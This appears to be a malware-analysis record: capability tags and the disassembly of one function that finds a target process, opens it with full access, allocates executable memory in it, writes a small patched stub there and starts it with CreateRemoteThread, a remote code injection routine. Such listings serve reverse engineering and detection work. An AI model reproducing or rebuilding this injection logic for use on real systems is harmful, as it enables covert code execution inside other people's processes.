Function at 0x4e3633
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
call fcn.00404fcc
xor eax, eax
push ebp
push 0x4e3752
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0
je 0x4e372f
mov al, 1
call fcn.004e3388
push ebp
call fcn.004e3420
pop ecx
push 0
push 0
call dword [ebp - 8]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4e3633
xor eax, eax
push ebp
push 0x4e362c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
push eax
push 1
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0xc]
test eax, eax
jl 0x4e3610
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax]
dec ebx
test ebx, ebx
jl 0x4e3610
inc ebx
xor esi, esi
lea eax, [ebp - 0x40]
imul edi, esi, 0x47
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x30]
lea edx, [edx + edi*4 + 0x20]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
call fcn.00408fb4
mov eax, dword [ebp - 0x3c]
push eax
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x18]
call fcn.00408fb4
mov edx, dword [ebp - 0x44]
pop eax
call fcn.00404f28
jne 0x4e360c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + edi*4 + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
movzx eax, word [eax + edi*4 + 0x1c]
mov dword [ebp - 0x30], eax
jmp 0x4e3610
inc esi
dec ebx
jne 0x4e35b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3633
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x10]
push ebp
call fcn.004e350c
pop ecx
ret
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x4e3728
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4e3764
push 0x4e3770
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x4f2175
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
mov dword [ebp - 0x34], 0x4f217a
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
push 0x4e377c
push 0x4e3770
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x4f2181
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
push 0x40
push 0x1000
push 0x15
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x28]
push eax
push 0x15
push 0x4f2174
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4e3711
mov ebx, dword [ebp - 0x30]
dec ebx
test ebx, ebx
jl 0x4e3711
inc ebx
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
mov eax, dword [ebp - 0x38]
push eax
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov dword [ebp - 0x1c], eax
dec ebx
jne 0x4e36ed
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e372f
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3759
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.00404b40
lea eax, [ebp - 0x18]
call fcn.00404b1c
ret